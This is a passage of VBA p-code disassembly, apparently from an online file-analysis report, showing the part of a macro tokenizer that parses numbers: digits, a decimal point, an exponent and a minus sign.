' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #63:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #64:
' LitStr 0x0001 "."
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #65:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #66:
' EndIfBlock
' Line #67:
' LitStr 0x0002 "eE"
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #68:
' Ld NUMERICS
' LitStr 0x0001 "-"
' Concat
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0003
' Line #69:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #70:
' EndIfBlock
' Line #71:
' Ld vbLf
' ArgsLd Asc 0x0001
' Case
' CaseDone
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.